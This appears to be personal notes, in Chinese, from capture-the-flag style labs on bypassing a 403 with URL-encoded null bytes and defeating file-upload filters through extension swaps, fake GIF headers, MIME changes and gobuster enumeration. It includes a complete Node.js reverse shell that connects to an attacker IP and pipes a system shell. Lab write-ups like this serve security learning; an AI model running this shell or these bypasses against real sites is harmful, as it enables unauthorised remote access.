403绕过

空字节绕过

访问显示403

在url后面加个%00

1
http://10.10.226.221/ftp/package.json.bak%00

由于我们可以通过 URL 下载它,因此需要将%00编码为 URL 编码格式,变成%2500,然后再补上一个后缀,随便md啊txt都行,看情况

1
http://10.10.226.221/ftp/package.json.bak%2500.md

文件上传

文件覆盖(一个以前一直忽略的点,但实战应该遇不到)

直接源码里面找图片文件

然后上传的时候文件名改成跟它相同的造成文件覆盖(如果它的路径也是上传路径就会造成覆盖)

gobuster:探测文件结构工具

1
sudo apt install gobuster

然后直接扫

1
gobuster dir -u http://shell.uploadvulns.thm/ -w ./fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt

当服务端不回显上传后地址时,可以探测下结构,然后先传个正常文件去访问,看看地址对不对

猜测储存上传文件的目录是/resources

传表格的MIME类型是:text/csv

绕过

客户端过滤绕过

在浏览器中关闭 Javascript

直接浏览器禁用
burp/yakit修改响应,删除对应的js

将文件直接发送到上传点。 可以使用 curl 等工具直接发送文件时,此类命令的语法将如下所示: curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site> 。要使用此方法,您首先要拦截成功的上传(使用 Burpsuite 或浏览器控制台)以查看上传中使用的参数,然后将其插入上述命令中。

服务端过滤绕过

绕过文件名限制

换扩展名

比如后端是这样限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
    //Get the extension
    $extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
    //Check the extension against the blacklist -- .php and .phtml
    switch($extension){
        case "php":
        case "phtml":
        case NULL:
            $uploadFail = True;
            break;
        default:
            $uploadFail = False;
    }
?>

检查最好一个.后面的是不是马的后缀
应对方式就是换扩展名
.php3.php4.php5.php7.phps.php-s.pht.phar

添加合法扩展名或者00截断

比如要求后缀里必须有.jpg,可以写成.jpg.php或者.php%00.jpg(低版本php才能用)

双写绕过

绕过文件内容过滤

添加文件头

比如只能传图片,加个gif文件头

1
GIF89A

嗯盲点

上传校验严格,单纯添加文件头绕不过去,修改正常图片内容为马绕过去了,但是路径没回显
先扫目录

能访问到的是/admin,但是他是执行/modules的文件,而之前上传成功了,那文件应该是传到/content了,但是访问不到,说明文件名被服务端改了
最重要的一点是,网站框架是node.js

先看看服务端本来有什么文件吧

1
gobuster dir -u http://jewel.uploadvulns.thm/content -w Downloads/UploadVulnsWordlist_1593564107766.txt -x jpg

用字典查这个目录下的jpg文件,这个命令的作用就是会给字典里每个条目加上jpg后缀

扫出四个文件
让ai写一个js的马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
(function(){
// 配置攻击者的 IP 地址和端口
const ATTACKER_IP = "10.21.170.43"; // <-- 修改这里
const ATTACKER_PORT = 404; // <-- 修改这里

const net = require("net");
const cp = require("child_process");

const shellCmd = process.platform === "win32" ? "cmd.exe" : "/bin/sh";

function connectToServer() {
const client = new net.Socket();

client.connect(ATTACKER_PORT, ATTACKER_IP, function() {
console.log(`[+] Connected to ${ATTACKER_IP}:${ATTACKER_PORT}`);

const sh = cp.spawn(shellCmd, []);

// 双向管道
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);

sh.on('exit', (code, signal) => {
console.log(`Shell exited with code ${code}, signal ${signal}`);
client.end(); // Shell 退出时关闭连接
});

sh.on('error', (err) => {
console.error('Shell process error:', err);
client.write(`Shell process error: ${err.message}\n`);
client.end();
});
});

client.on('error', function(err) {
console.error(`Connection error: ${err.message}. Retrying in 5 seconds...`);
// 不需要手动关闭 client,因为它在出错时通常会自动处理或在重连时创建新的
setTimeout(connectToServer, 5000);
});

client.on('close', function() {
console.log('Connection closed. Retrying in 5 seconds...');
// setTimeout(connectToServer, 5000); // 如果需要在关闭后也重连,可以取消注释这行
});
}

connectToServer();
})();

先绕过客户端限制,劫持响应,删除限制文件后缀和文件头的代码

然后传上去看看,失败,还要服务端验证

MIME类型改为jpg就绕过了

然后再枚举上传的马的文件名(GLH是多出来的,原本第二个是LKQ)

然后之前扫目录扫到一个/admin,过去执行一下